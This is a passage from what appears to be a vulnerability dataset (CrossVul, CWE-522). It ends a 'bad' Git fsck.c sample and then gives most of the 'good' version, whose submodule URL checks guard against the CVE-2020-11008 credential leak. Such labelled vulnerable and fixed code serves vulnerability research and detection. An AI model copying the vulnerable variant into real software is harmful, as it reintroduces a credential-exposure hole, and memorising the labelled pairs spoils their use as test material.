(git_config_from_mem(fsck_gitmodules_fn, CONFIG_ORIGIN_BLOB, ".gitmodules", buf, size, &data)) data.ret |= report(options, &blob->object, FSCK_MSG_GITMODULES_PARSE, "could not parse gitmodules blob"); return data.ret; } int fsck_object(struct object *obj, void *data, unsigned long size, struct fsck_options *options) { if (!obj) return report(options, obj, FSCK_MSG_BAD_OBJECT_SHA1, "no valid object to fsck"); if (obj->type == OBJ_BLOB) return fsck_blob((struct blob *)obj, data, size, options); if (obj->type == OBJ_TREE) return fsck_tree((struct tree *) obj, options); if (obj->type == OBJ_COMMIT) return fsck_commit((struct commit *) obj, (const char *) data, size, options); if (obj->type == OBJ_TAG) return fsck_tag((struct tag *) obj, (const char *) data, size, options); return report(options, obj, FSCK_MSG_UNKNOWN_TYPE, "unknown type '%d' (internal fsck error)", obj->type); } int fsck_error_function(struct fsck_options *o, struct object *obj, int msg_type, const char *message) { if (msg_type == FSCK_WARN) { warning("object %s: %s", describe_object(o, obj), message); return 0; } error("object %s: %s", describe_object(o, obj), message); return 1; } int fsck_finish(struct fsck_options *options) { int ret = 0; struct oidset_iter iter; const struct object_id *oid; oidset_iter_init(&gitmodules_found, &iter); while ((oid = oidset_iter_next(&iter))) { struct blob *blob; enum object_type type; unsigned long size; char *buf; if (oidset_contains(&gitmodules_done, oid)) continue; blob = lookup_blob(oid); if (!blob) { ret |= report(options, &blob->object, FSCK_MSG_GITMODULES_BLOB, "non-blob found at .gitmodules"); continue; } buf = read_sha1_file(oid->hash, &type, &size); if (!buf) { if (is_promisor_object(&blob->object.oid)) continue; ret |= report(options, &blob->object, FSCK_MSG_GITMODULES_MISSING, "unable to read .gitmodules blob"); continue; } if (type == OBJ_BLOB) ret |= fsck_blob(blob, buf, size, options); else ret |= report(options, &blob->object, FSCK_MSG_GITMODULES_BLOB, "non-blob found at .gitmodules"); free(buf); } oidset_clear(&gitmodules_found); oidset_clear(&gitmodules_done); return ret; }
./CrossVul/dataset_final_sorted/CWE-522/c/bad_3894_1
crossvul-cpp_data_good_3894_1
#include "cache.h" #include "object.h" #include "blob.h" #include "tree.h" #include "tree-walk.h" #include "commit.h" #include "tag.h" #include "fsck.h" #include "refs.h" #include "url.h" #include "utf8.h" #include "sha1-array.h" #include "decorate.h" #include "oidset.h" #include "packfile.h" #include "submodule-config.h" #include "config.h" #include "credential.h" static struct oidset gitmodules_found = OIDSET_INIT; static struct oidset gitmodules_done = OIDSET_INIT; #define FSCK_FATAL -1 #define FSCK_INFO -2 #define FOREACH_MSG_ID(FUNC) \ /* fatal errors */ \ FUNC(NUL_IN_HEADER, FATAL) \ FUNC(UNTERMINATED_HEADER, FATAL) \ /* errors */ \ FUNC(BAD_DATE, ERROR) \ FUNC(BAD_DATE_OVERFLOW, ERROR) \ FUNC(BAD_EMAIL, ERROR) \ FUNC(BAD_NAME, ERROR) \ FUNC(BAD_OBJECT_SHA1, ERROR) \ FUNC(BAD_PARENT_SHA1, ERROR) \ FUNC(BAD_TAG_OBJECT, ERROR) \ FUNC(BAD_TIMEZONE, ERROR) \ FUNC(BAD_TREE, ERROR) \ FUNC(BAD_TREE_SHA1, ERROR) \ FUNC(BAD_TYPE, ERROR) \ FUNC(DUPLICATE_ENTRIES, ERROR) \ FUNC(MISSING_AUTHOR, ERROR) \ FUNC(MISSING_COMMITTER, ERROR) \ FUNC(MISSING_EMAIL, ERROR) \ FUNC(MISSING_GRAFT, ERROR) \ FUNC(MISSING_NAME_BEFORE_EMAIL, ERROR) \ FUNC(MISSING_OBJECT, ERROR) \ FUNC(MISSING_PARENT, ERROR) \ FUNC(MISSING_SPACE_BEFORE_DATE, ERROR) \ FUNC(MISSING_SPACE_BEFORE_EMAIL, ERROR) \ FUNC(MISSING_TAG, ERROR) \ FUNC(MISSING_TAG_ENTRY, ERROR) \ FUNC(MISSING_TAG_OBJECT, ERROR) \ FUNC(MISSING_TREE, ERROR) \ FUNC(MISSING_TREE_OBJECT, ERROR) \ FUNC(MISSING_TYPE, ERROR) \ FUNC(MISSING_TYPE_ENTRY, ERROR) \ FUNC(MULTIPLE_AUTHORS, ERROR) \ FUNC(TAG_OBJECT_NOT_TAG, ERROR) \ FUNC(TREE_NOT_SORTED, ERROR) \ FUNC(UNKNOWN_TYPE, ERROR) \ FUNC(ZERO_PADDED_DATE, ERROR) \ FUNC(GITMODULES_MISSING, ERROR) \ FUNC(GITMODULES_BLOB, ERROR) \ FUNC(GITMODULES_PARSE, ERROR) \ FUNC(GITMODULES_NAME, ERROR) \ FUNC(GITMODULES_SYMLINK, ERROR) \ FUNC(GITMODULES_URL, ERROR) \ FUNC(GITMODULES_PATH, ERROR) \ FUNC(GITMODULES_UPDATE, ERROR) \ /* warnings */ \ FUNC(BAD_FILEMODE, WARN) \ FUNC(EMPTY_NAME, WARN) \ FUNC(FULL_PATHNAME, WARN) \ FUNC(HAS_DOT, WARN) \ FUNC(HAS_DOTDOT, WARN) \ FUNC(HAS_DOTGIT, WARN) \ FUNC(NULL_SHA1, WARN) \ FUNC(ZERO_PADDED_FILEMODE, WARN) \ FUNC(NUL_IN_COMMIT, WARN) \ /* infos (reported as warnings, but ignored by default) */ \ FUNC(BAD_TAG_NAME, INFO) \ FUNC(MISSING_TAGGER_ENTRY, INFO) #define MSG_ID(id, msg_type) FSCK_MSG_##id, enum fsck_msg_id { FOREACH_MSG_ID(MSG_ID) FSCK_MSG_MAX }; #undef MSG_ID #define STR(x) #x #define MSG_ID(id, msg_type) { STR(id), NULL, FSCK_##msg_type }, static struct { const char *id_string; const char *downcased; int msg_type; } msg_id_info[FSCK_MSG_MAX + 1] = { FOREACH_MSG_ID(MSG_ID) { NULL, NULL, -1 } }; #undef MSG_ID static int parse_msg_id(const char *text) { int i; if (!msg_id_info[0].downcased) { /* convert id_string to lower case, without underscores. */ for (i = 0; i < FSCK_MSG_MAX; i++) { const char *p = msg_id_info[i].id_string; int len = strlen(p); char *q = xmalloc(len); msg_id_info[i].downcased = q; while (*p) if (*p == '_') p++; else *(q)++ = tolower(*(p)++); *q = '\0'; } } for (i = 0; i < FSCK_MSG_MAX; i++) if (!strcmp(text, msg_id_info[i].downcased)) return i; return -1; } static int fsck_msg_type(enum fsck_msg_id msg_id, struct fsck_options *options) { int msg_type; assert(msg_id >= 0 && msg_id < FSCK_MSG_MAX); if (options->msg_type) msg_type = options->msg_type[msg_id]; else { msg_type = msg_id_info[msg_id].msg_type; if (options->strict && msg_type == FSCK_WARN) msg_type = FSCK_ERROR; } return msg_type; } static void init_skiplist(struct fsck_options *options, const char *path) { static struct oid_array skiplist = OID_ARRAY_INIT; int sorted, fd; char buffer[GIT_MAX_HEXSZ + 1]; struct object_id oid; if (options->skiplist) sorted = options->skiplist->sorted; else { sorted = 1; options->skiplist = &skiplist; } fd = open(path, O_RDONLY); if (fd < 0) die("Could not open skip list: %s", path); for (;;) { const char *p; int result = read_in_full(fd, buffer, sizeof(buffer)); if (result < 0) die_errno("Could not read '%s'", path); if (!result) break; if (parse_oid_hex(buffer, &oid, &p) || *p != '\n') die("Invalid SHA-1: %s", buffer); oid_array_append(&skiplist, &oid); if (sorted && skiplist.nr > 1 && oidcmp(&skiplist.oid[skiplist.nr - 2], &oid) > 0) sorted = 0; } close(fd); if (sorted) skiplist.sorted = 1; } static int parse_msg_type(const char *str) { if (!strcmp(str, "error")) return FSCK_ERROR; else if (!strcmp(str, "warn")) return FSCK_WARN; else if (!strcmp(str, "ignore")) return FSCK_IGNORE; else die("Unknown fsck message type: '%s'", str); } int is_valid_msg_type(const char *msg_id, const char *msg_type) { if (parse_msg_id(msg_id) < 0) return 0; parse_msg_type(msg_type); return 1; } void fsck_set_msg_type(struct fsck_options *options, const char *msg_id, const char *msg_type) { int id = parse_msg_id(msg_id), type; if (id < 0) die("Unhandled message id: %s", msg_id); type = parse_msg_type(msg_type); if (type != FSCK_ERROR && msg_id_info[id].msg_type == FSCK_FATAL) die("Cannot demote %s to %s", msg_id, msg_type); if (!options->msg_type) { int i; int *msg_type; ALLOC_ARRAY(msg_type, FSCK_MSG_MAX); for (i = 0; i < FSCK_MSG_MAX; i++) msg_type[i] = fsck_msg_type(i, options); options->msg_type = msg_type; } options->msg_type[id] = type; } void fsck_set_msg_types(struct fsck_options *options, const char *values) { char *buf = xstrdup(values), *to_free = buf; int done = 0; while (!done) { int len = strcspn(buf, " ,|"), equal; done = !buf[len]; if (!len) { buf++; continue; } buf[len] = '\0'; for (equal = 0; equal < len && buf[equal] != '=' && buf[equal] != ':'; equal++) buf[equal] = tolower(buf[equal]); buf[equal] = '\0'; if (!strcmp(buf, "skiplist")) { if (equal == len) die("skiplist requires a path"); init_skiplist(options, buf + equal + 1); buf += len + 1; continue; } if (equal == len) die("Missing '=': '%s'", buf); fsck_set_msg_type(options, buf, buf + equal + 1); buf += len + 1; } free(to_free); } static void append_msg_id(struct strbuf *sb, const char *msg_id) { for (;;) { char c = *(msg_id)++; if (!c) break; if (c != '_') strbuf_addch(sb, tolower(c)); else { assert(*msg_id); strbuf_addch(sb, *(msg_id)++); } } strbuf_addstr(sb, ": "); } __attribute__((format (printf, 4, 5))) static int report(struct fsck_options *options, struct object *object, enum fsck_msg_id id, const char *fmt, ...) { va_list ap; struct strbuf sb = STRBUF_INIT; int msg_type = fsck_msg_type(id, options), result; if (msg_type == FSCK_IGNORE) return 0; if (options->skiplist && object && oid_array_lookup(options->skiplist, &object->oid) >= 0) return 0; if (msg_type == FSCK_FATAL) msg_type = FSCK_ERROR; else if (msg_type == FSCK_INFO) msg_type = FSCK_WARN; append_msg_id(&sb, msg_id_info[id].id_string); va_start(ap, fmt); strbuf_vaddf(&sb, fmt, ap); result = options->error_func(options, object, msg_type, sb.buf); strbuf_release(&sb); va_end(ap); return result; } static char *get_object_name(struct fsck_options *options, struct object *obj) { if (!options->object_names) return NULL; return lookup_decoration(options->object_names, obj); } static void put_object_name(struct fsck_options *options, struct object *obj, const char *fmt, ...) { va_list ap; struct strbuf buf = STRBUF_INIT; char *existing; if (!options->object_names) return; existing = lookup_decoration(options->object_names, obj); if (existing) return; va_start(ap, fmt); strbuf_vaddf(&buf, fmt, ap); add_decoration(options->object_names, obj, strbuf_detach(&buf, NULL)); va_end(ap); } static const char *describe_object(struct fsck_options *o, struct object *obj) { static struct strbuf buf = STRBUF_INIT; char *name; strbuf_reset(&buf); strbuf_addstr(&buf, oid_to_hex(&obj->oid)); if (o->object_names && (name = lookup_decoration(o->object_names, obj))) strbuf_addf(&buf, " (%s)", name); return buf.buf; } static int fsck_walk_tree(struct tree *tree, void *data, struct fsck_options *options) { struct tree_desc desc; struct name_entry entry; int res = 0; const char *name; if (parse_tree(tree)) return -1; name = get_object_name(options, &tree->object); if (init_tree_desc_gently(&desc, tree->buffer, tree->size)) return -1; while (tree_entry_gently(&desc, &entry)) { struct object *obj; int result; if (S_ISGITLINK(entry.mode)) continue; if (S_ISDIR(entry.mode)) { obj = (struct object *)lookup_tree(entry.oid); if (name && obj) put_object_name(options, obj, "%s%s/", name, entry.path); result = options->walk(obj, OBJ_TREE, data, options); } else if (S_ISREG(entry.mode) || S_ISLNK(entry.mode)) { obj = (struct object *)lookup_blob(entry.oid); if (name && obj) put_object_name(options, obj, "%s%s", name, entry.path); result = options->walk(obj, OBJ_BLOB, data, options); } else { result = error("in tree %s: entry %s has bad mode %.6o", describe_object(options, &tree->object), entry.path, entry.mode); } if (result < 0) return result; if (!res) res = result; } return res; } static int fsck_walk_commit(struct commit *commit, void *data, struct fsck_options *options) { int counter = 0, generation = 0, name_prefix_len = 0; struct commit_list *parents; int res; int result; const char *name; if (parse_commit(commit)) return -1; name = get_object_name(options, &commit->object); if (name) put_object_name(options, &commit->tree->object, "%s:", name); result = options->walk((struct object *)commit->tree, OBJ_TREE, data, options); if (result < 0) return result; res = result; parents = commit->parents; if (name && parents) { int len = strlen(name), power; if (len && name[len - 1] == '^') { generation = 1; name_prefix_len = len - 1; } else { /* parse ~<generation> suffix */ for (generation = 0, power = 1; len && isdigit(name[len - 1]); power *= 10) generation += power * (name[--len] - '0'); if (power > 1 && len && name[len - 1] == '~') name_prefix_len = len - 1; } } while (parents) { if (name) { struct object *obj = &parents->item->object; if (++counter > 1) put_object_name(options, obj, "%s^%d", name, counter); else if (generation > 0) put_object_name(options, obj, "%.*s~%d", name_prefix_len, name, generation + 1); else put_object_name(options, obj, "%s^", name); } result = options->walk((struct object *)parents->item, OBJ_COMMIT, data, options); if (result < 0) return result; if (!res) res = result; parents = parents->next; } return res; } static int fsck_walk_tag(struct tag *tag, void *data, struct fsck_options *options) { char *name = get_object_name(options, &tag->object); if (parse_tag(tag)) return -1; if (name) put_object_name(options, tag->tagged, "%s", name); return options->walk(tag->tagged, OBJ_ANY, data, options); } int fsck_walk(struct object *obj, void *data, struct fsck_options *options) { if (!obj) return -1; if (obj->type == OBJ_NONE) parse_object(&obj->oid); switch (obj->type) { case OBJ_BLOB: return 0; case OBJ_TREE: return fsck_walk_tree((struct tree *)obj, data, options); case OBJ_COMMIT: return fsck_walk_commit((struct commit *)obj, data, options); case OBJ_TAG: return fsck_walk_tag((struct tag *)obj, data, options); default: error("Unknown object type for %s", describe_object(options, obj)); return -1; } } /* * The entries in a tree are ordered in the _path_ order, * which means that a directory entry is ordered by adding * a slash to the end of it. * * So a directory called "a" is ordered _after_ a file * called "a.c", because "a/" sorts after "a.c". */ #define TREE_UNORDERED (-1) #define TREE_HAS_DUPS (-2) static int verify_ordered(unsigned mode1, const char *name1, unsigned mode2, const char *name2) { int len1 = strlen(name1); int len2 = strlen(name2); int len = len1 < len2 ? len1 : len2; unsigned char c1, c2; int cmp; cmp = memcmp(name1, name2, len); if (cmp < 0) return 0; if (cmp > 0) return TREE_UNORDERED; /* * Ok, the first <len> characters are the same. * Now we need to order the next one, but turn * a '\0' into a '/' for a directory entry. */ c1 = name1[len]; c2 = name2[len]; if (!c1 && !c2) /* * git-write-tree used to write out a nonsense tree that has * entries with the same name, one blob and one tree. Make * sure we do not have duplicate entries. */ return TREE_HAS_DUPS; if (!c1 && S_ISDIR(mode1)) c1 = '/'; if (!c2 && S_ISDIR(mode2)) c2 = '/'; return c1 < c2 ? 0 : TREE_UNORDERED; } static int fsck_tree(struct tree *item, struct fsck_options *options) { int retval = 0; int has_null_sha1 = 0; int has_full_path = 0; int has_empty_name = 0; int has_dot = 0; int has_dotdot = 0; int has_dotgit = 0; int has_zero_pad = 0; int has_bad_modes = 0; int has_dup_entries = 0; int not_properly_sorted = 0; struct tree_desc desc; unsigned o_mode; const char *o_name; if (init_tree_desc_gently(&desc, item->buffer, item->size)) { retval += report(options, &item->object, FSCK_MSG_BAD_TREE, "cannot be parsed as a tree"); return retval; } o_mode = 0; o_name = NULL; while (desc.size) { unsigned mode; const char *name, *backslash; const struct object_id *oid; oid = tree_entry_extract(&desc, &name, &mode); has_null_sha1 |= is_null_oid(oid); has_full_path |= !!strchr(name, '/'); has_empty_name |= !*name; has_dot |= !strcmp(name, "."); has_dotdot |= !strcmp(name, ".."); has_dotgit |= is_hfs_dotgit(name) || is_ntfs_dotgit(name); has_zero_pad |= *(char *)desc.buffer == '0'; if (is_hfs_dotgitmodules(name) || is_ntfs_dotgitmodules(name)) { if (!S_ISLNK(mode)) oidset_insert(&gitmodules_found, oid); else retval += report(options, &item->object, FSCK_MSG_GITMODULES_SYMLINK, ".gitmodules is a symbolic link"); } if ((backslash = strchr(name, '\\'))) { while (backslash) { backslash++; has_dotgit |= is_ntfs_dotgit(backslash); if (is_ntfs_dotgitmodules(backslash)) { if (!S_ISLNK(mode)) oidset_insert(&gitmodules_found, oid); else retval += report(options, &item->object, FSCK_MSG_GITMODULES_SYMLINK, ".gitmodules is a symbolic link"); } backslash = strchr(backslash, '\\'); } } if (update_tree_entry_gently(&desc)) { retval += report(options, &item->object, FSCK_MSG_BAD_TREE, "cannot be parsed as a tree"); break; } switch (mode) { /* * Standard modes.. */ case S_IFREG | 0755: case S_IFREG | 0644: case S_IFLNK: case S_IFDIR: case S_IFGITLINK: break; /* * This is nonstandard, but we had a few of these * early on when we honored the full set of mode * bits.. */ case S_IFREG | 0664: if (!options->strict) break; /* fallthrough */ default: has_bad_modes = 1; } if (o_name) { switch (verify_ordered(o_mode, o_name, mode, name)) { case TREE_UNORDERED: not_properly_sorted = 1; break; case TREE_HAS_DUPS: has_dup_entries = 1; break; default: break; } } o_mode = mode; o_name = name; } if (has_null_sha1) retval += report(options, &item->object, FSCK_MSG_NULL_SHA1, "contains entries pointing to null sha1"); if (has_full_path) retval += report(options, &item->object, FSCK_MSG_FULL_PATHNAME, "contains full pathnames"); if (has_empty_name) retval += report(options, &item->object, FSCK_MSG_EMPTY_NAME, "contains empty pathname"); if (has_dot) retval += report(options, &item->object, FSCK_MSG_HAS_DOT, "contains '.'"); if (has_dotdot) retval += report(options, &item->object, FSCK_MSG_HAS_DOTDOT, "contains '..'"); if (has_dotgit) retval += report(options, &item->object, FSCK_MSG_HAS_DOTGIT, "contains '.git'"); if (has_zero_pad) retval += report(options, &item->object, FSCK_MSG_ZERO_PADDED_FILEMODE, "contains zero-padded file modes"); if (has_bad_modes) retval += report(options, &item->object, FSCK_MSG_BAD_FILEMODE, "contains bad file modes"); if (has_dup_entries) retval += report(options, &item->object, FSCK_MSG_DUPLICATE_ENTRIES, "contains duplicate file entries"); if (not_properly_sorted) retval += report(options, &item->object, FSCK_MSG_TREE_NOT_SORTED, "not properly sorted"); return retval; } static int verify_headers(const void *data, unsigned long size, struct object *obj, struct fsck_options *options) { const char *buffer = (const char *)data; unsigned long i; for (i = 0; i < size; i++) { switch (buffer[i]) { case '\0': return report(options, obj, FSCK_MSG_NUL_IN_HEADER, "unterminated header: NUL at offset %ld", i); case '\n': if (i + 1 < size && buffer[i + 1] == '\n') return 0; } } /* * We did not find double-LF that separates the header * and the body. Not having a body is not a crime but * we do want to see the terminating LF for the last header * line. */ if (size && buffer[size - 1] == '\n') return 0; return report(options, obj, FSCK_MSG_UNTERMINATED_HEADER, "unterminated header"); } static int fsck_ident(const char **ident, struct object *obj, struct fsck_options *options) { const char *p = *ident; char *end; *ident = strchrnul(*ident, '\n'); if (**ident == '\n') (*ident)++; if (*p == '<') return report(options, obj, FSCK_MSG_MISSING_NAME_BEFORE_EMAIL, "invalid author/committer line - missing space before email"); p += strcspn(p, "<>\n"); if (*p == '>') return report(options, obj, FSCK_MSG_BAD_NAME, "invalid author/committer line - bad name"); if (*p != '<') return report(options, obj, FSCK_MSG_MISSING_EMAIL, "invalid author/committer line - missing email"); if (p[-1] != ' ') return report(options, obj, FSCK_MSG_MISSING_SPACE_BEFORE_EMAIL, "invalid author/committer line - missing space before email"); p++; p += strcspn(p, "<>\n"); if (*p != '>') return report(options, obj, FSCK_MSG_BAD_EMAIL, "invalid author/committer line - bad email"); p++; if (*p != ' ') return report(options, obj, FSCK_MSG_MISSING_SPACE_BEFORE_DATE, "invalid author/committer line - missing space before date"); p++; if (*p == '0' && p[1] != ' ') return report(options, obj, FSCK_MSG_ZERO_PADDED_DATE, "invalid author/committer line - zero-padded date"); if (date_overflows(parse_timestamp(p, &end, 10))) return report(options, obj, FSCK_MSG_BAD_DATE_OVERFLOW, "invalid author/committer line - date causes integer overflow"); if ((end == p || *end != ' ')) return report(options, obj, FSCK_MSG_BAD_DATE, "invalid author/committer line - bad date"); p = end + 1; if ((*p != '+' && *p != '-') || !isdigit(p[1]) || !isdigit(p[2]) || !isdigit(p[3]) || !isdigit(p[4]) || (p[5] != '\n')) return report(options, obj, FSCK_MSG_BAD_TIMEZONE, "invalid author/committer line - bad time zone"); p += 6; return 0; } static int fsck_commit_buffer(struct commit *commit, const char *buffer, unsigned long size, struct fsck_options *options) { unsigned char tree_sha1[20], sha1[20]; struct commit_graft *graft; unsigned parent_count, parent_line_count = 0, author_count; int err; const char *buffer_begin = buffer; if (verify_headers(buffer, size, &commit->object, options)) return -1; if (!skip_prefix(buffer, "tree ", &buffer)) return report(options, &commit->object, FSCK_MSG_MISSING_TREE, "invalid format - expected 'tree' line"); if (get_sha1_hex(buffer, tree_sha1) || buffer[40] != '\n') { err = report(options, &commit->object, FSCK_MSG_BAD_TREE_SHA1, "invalid 'tree' line format - bad sha1"); if (err) return err; } buffer += 41; while (skip_prefix(buffer, "parent ", &buffer)) { if (get_sha1_hex(buffer, sha1) || buffer[40] != '\n') { err = report(options, &commit->object, FSCK_MSG_BAD_PARENT_SHA1, "invalid 'parent' line format - bad sha1"); if (err) return err; } buffer += 41; parent_line_count++; } graft = lookup_commit_graft(&commit->object.oid); parent_count = commit_list_count(commit->parents); if (graft) { if (graft->nr_parent == -1 && !parent_count) ; /* shallow commit */ else if (graft->nr_parent != parent_count) { err = report(options, &commit->object, FSCK_MSG_MISSING_GRAFT, "graft objects missing"); if (err) return err; } } else { if (parent_count != parent_line_count) { err = report(options, &commit->object, FSCK_MSG_MISSING_PARENT, "parent objects missing"); if (err) return err; } } author_count = 0; while (skip_prefix(buffer, "author ", &buffer)) { author_count++; err = fsck_ident(&buffer, &commit->object, options); if (err) return err; } if (author_count < 1) err = report(options, &commit->object, FSCK_MSG_MISSING_AUTHOR, "invalid format - expected 'author' line"); else if (author_count > 1) err = report(options, &commit->object, FSCK_MSG_MULTIPLE_AUTHORS, "invalid format - multiple 'author' lines"); if (err) return err; if (!skip_prefix(buffer, "committer ", &buffer)) return report(options, &commit->object, FSCK_MSG_MISSING_COMMITTER, "invalid format - expected 'committer' line"); err = fsck_ident(&buffer, &commit->object, options); if (err) return err; if (!commit->tree) { err = report(options, &commit->object, FSCK_MSG_BAD_TREE, "could not load commit's tree %s", sha1_to_hex(tree_sha1)); if (err) return err; } if (memchr(buffer_begin, '\0', size)) { err = report(options, &commit->object, FSCK_MSG_NUL_IN_COMMIT, "NUL byte in the commit object body"); if (err) return err; } return 0; } static int fsck_commit(struct commit *commit, const char *data, unsigned long size, struct fsck_options *options) { const char *buffer = data ? data : get_commit_buffer(commit, &size); int ret = fsck_commit_buffer(commit, buffer, size, options); if (!data) unuse_commit_buffer(commit, buffer); return ret; } static int fsck_tag_buffer(struct tag *tag, const char *data, unsigned long size, struct fsck_options *options) { unsigned char sha1[20]; int ret = 0; const char *buffer; char *to_free = NULL, *eol; struct strbuf sb = STRBUF_INIT; if (data) buffer = data; else { enum object_type type; buffer = to_free = read_sha1_file(tag->object.oid.hash, &type, &size); if (!buffer) return report(options, &tag->object, FSCK_MSG_MISSING_TAG_OBJECT, "cannot read tag object"); if (type != OBJ_TAG) { ret = report(options, &tag->object, FSCK_MSG_TAG_OBJECT_NOT_TAG, "expected tag got %s", type_name(type)); goto done; } } ret = verify_headers(buffer, size, &tag->object, options); if (ret) goto done; if (!skip_prefix(buffer, "object ", &buffer)) { ret = report(options, &tag->object, FSCK_MSG_MISSING_OBJECT, "invalid format - expected 'object' line"); goto done; } if (get_sha1_hex(buffer, sha1) || buffer[40] != '\n') { ret = report(options, &tag->object, FSCK_MSG_BAD_OBJECT_SHA1, "invalid 'object' line format - bad sha1"); if (ret) goto done; } buffer += 41; if (!skip_prefix(buffer, "type ", &buffer)) { ret = report(options, &tag->object, FSCK_MSG_MISSING_TYPE_ENTRY, "invalid format - expected 'type' line"); goto done; } eol = strchr(buffer, '\n'); if (!eol) { ret = report(options, &tag->object, FSCK_MSG_MISSING_TYPE, "invalid format - unexpected end after 'type' line"); goto done; } if (type_from_string_gently(buffer, eol - buffer, 1) < 0) ret = report(options, &tag->object, FSCK_MSG_BAD_TYPE, "invalid 'type' value"); if (ret) goto done; buffer = eol + 1; if (!skip_prefix(buffer, "tag ", &buffer)) { ret = report(options, &tag->object, FSCK_MSG_MISSING_TAG_ENTRY, "invalid format - expected 'tag' line"); goto done; } eol = strchr(buffer, '\n'); if (!eol) { ret = report(options, &tag->object, FSCK_MSG_MISSING_TAG, "invalid format - unexpected end after 'type' line"); goto done; } strbuf_addf(&sb, "refs/tags/%.*s", (int)(eol - buffer), buffer); if (check_refname_format(sb.buf, 0)) { ret = report(options, &tag->object, FSCK_MSG_BAD_TAG_NAME, "invalid 'tag' name: %.*s", (int)(eol - buffer), buffer); if (ret) goto done; } buffer = eol + 1; if (!skip_prefix(buffer, "tagger ", &buffer)) { /* early tags do not contain 'tagger' lines; warn only */ ret = report(options, &tag->object, FSCK_MSG_MISSING_TAGGER_ENTRY, "invalid format - expected 'tagger' line"); if (ret) goto done; } else ret = fsck_ident(&buffer, &tag->object, options); done: strbuf_release(&sb); free(to_free); return ret; } static int fsck_tag(struct tag *tag, const char *data, unsigned long size, struct fsck_options *options) { struct object *tagged = tag->tagged; if (!tagged) return report(options, &tag->object, FSCK_MSG_BAD_TAG_OBJECT, "could not load tagged object"); return fsck_tag_buffer(tag, data, size, options); } /* * Like builtin/submodule--helper.c's starts_with_dot_slash, but without * relying on the platform-dependent is_dir_sep helper. * * This is for use in checking whether a submodule URL is interpreted as * relative to the current directory on any platform, since \ is a * directory separator on Windows but not on other platforms. */ static int starts_with_dot_slash(const char *str) { return str[0] == '.' && (str[1] == '/' || str[1] == '\\'); } /* * Like starts_with_dot_slash, this is a variant of submodule--helper's * helper of the same name with the twist that it accepts backslash as a * directory separator even on non-Windows platforms. */ static int starts_with_dot_dot_slash(const char *str) { return str[0] == '.' && starts_with_dot_slash(str + 1); } static int submodule_url_is_relative(const char *url) { return starts_with_dot_slash(url) || starts_with_dot_dot_slash(url); } /* * Count directory components that a relative submodule URL should chop * from the remote_url it is to be resolved against. * * In other words, this counts "../" components at the start of a * submodule URL. * * Returns the number of directory components to chop and writes a * pointer to the next character of url after all leading "./" and * "../" components to out. */ static int count_leading_dotdots(const char *url, const char **out) { int result = 0; while (1) { if (starts_with_dot_dot_slash(url)) { result++; url += strlen("../"); continue; } if (starts_with_dot_slash(url)) { url += strlen("./"); continue; } *out = url; return result; } } /* * Check whether a transport is implemented by git-remote-curl. * * If it is, returns 1 and writes the URL that would be passed to * git-remote-curl to the "out" parameter. * * Otherwise, returns 0 and leaves "out" untouched. * * Examples: * http::https://example.com/repo.git -> 1, https://example.com/repo.git * https://example.com/repo.git -> 1, https://example.com/repo.git * git://example.com/repo.git -> 0 * * This is for use in checking for previously exploitable bugs that * required a submodule URL to be passed to git-remote-curl. */ static int url_to_curl_url(const char *url, const char **out) { /* * We don't need to check for case-aliases, "http.exe", and so * on because in the default configuration, is_transport_allowed * prevents URLs with those schemes from being cloned * automatically. */ if (skip_prefix(url, "http::", out) || skip_prefix(url, "https::", out) || skip_prefix(url, "ftp::", out) || skip_prefix(url, "ftps::", out)) return 1; if (starts_with(url, "http://") || starts_with(url, "https://") || starts_with(url, "ftp://") || starts_with(url, "ftps://")) { *out = url; return 1; } return 0; } static int check_submodule_url(const char *url) { const char *curl_url; if (looks_like_command_line_option(url)) return -1; if (submodule_url_is_relative(url)) { char *decoded; const char *next; int has_nl; /* * This could be appended to an http URL and url-decoded; * check for malicious characters. */ decoded = url_decode(url); has_nl = !!strchr(decoded, '\n'); free(decoded); if (has_nl) return -1; /* * URLs which escape their root via "../" can overwrite * the host field and previous components, resolving to * URLs like https::example.com/submodule.git that were * susceptible to CVE-2020-11008. */ if (count_leading_dotdots(url, &next) > 0 && *next == ':') return -1; } else if (url_to_curl_url(url, &curl_url)) { struct credential c = CREDENTIAL_INIT; int ret = credential_from_url_gently(&c, curl_url, 1); credential_clear(&c); return ret; } return 0; } struct fsck_gitmodules_data { struct object *obj; struct fsck_options *options; int ret; }; static int fsck_gitmodules_fn(const char *var, const char *value, void *vdata) { struct fsck_gitmodules_data *data = vdata; const char *subsection, *key; int subsection_len; char *name; if (parse_config_key(var, "submodule", &subsection, &subsection_len, &key) < 0 || !subsection) return 0; name = xmemdupz(subsection, subsection_len); if (check_submodule_name(name) < 0) data->ret |= report(data->options, data->obj, FSCK_MSG_GITMODULES_NAME, "disallowed submodule name: %s", name); if (!strcmp(key, "url") && value && check_submodule_url(value) < 0) data->ret |= report(data->options, data->obj, FSCK_MSG_GITMODULES_URL, "disallowed submodule url: %s", value); if (!strcmp(key, "path") && value && looks_like_command_line_option(value)) data->ret |= report(data->options, data->obj, FSCK_MSG_GITMODULES_PATH, "disallowed submodule path: %s", value); if (!strcmp(key, "update") && value && parse_submodule_update_type(value) == SM_UPDATE_COMMAND) data->ret |= report(data->options, data->obj, FSCK_MSG_GITMODULES_UPDATE, "disallowed submodule update setting: %s", value); free(name); return 0; } static int fsck_blob(struct blob *blob, const char *buf, unsigned long size, struct fsck_options *options) { struct fsck_gitmodules_data data; if (!oidset_contains(&gitmodules_found, &blob->object.oid)) return 0; oidset_insert(&gitmodules_done, &blob->object.oid); if (!buf) { /* * A missing buffer here is a sign that the caller found the * blob too gigantic to load into memory. Let's just consider * that an error. */ return report(options, &blob->object, FSCK_MSG_GITMODULES_PARSE, ".gitmodules too large to parse"); } data.obj = &blob->object; data.options = options; data.ret = 0; if (git_config_from_mem(fsck_gitmodules_fn, CONFIG_ORIGIN_BLOB, ".gitmodules", buf, size, &data)) data.ret |= report(options, &blob->object, FSCK_MSG_GITMODULES_PARSE, "could not parse gitmodules blob"); return data.ret; } int fsck_object(struct object *obj, void *data, unsigned long size, struct fsck_options *options) { if (!obj) return report(options, obj, FSCK_MSG_BAD_OBJECT_SHA1, "no valid object to fsck"); if (obj->type == OBJ_BLOB) return fsck_blob((struct blob *)obj, data, size, options); if (obj->type == OBJ_TREE) return fsck_tree((struct tree *) obj, options); if (obj->type == OBJ_COMMIT) return fsck_commit((struct commit *) obj, (const char *) data, size, options); if (obj->type == OBJ_TAG) return fsck_tag((struct tag *) obj, (const char *) data, size, options); return report(options, obj, FSCK_MSG_UNKNOWN_TYPE, "unknown type '%d' (internal fsck error)", obj->type); } int 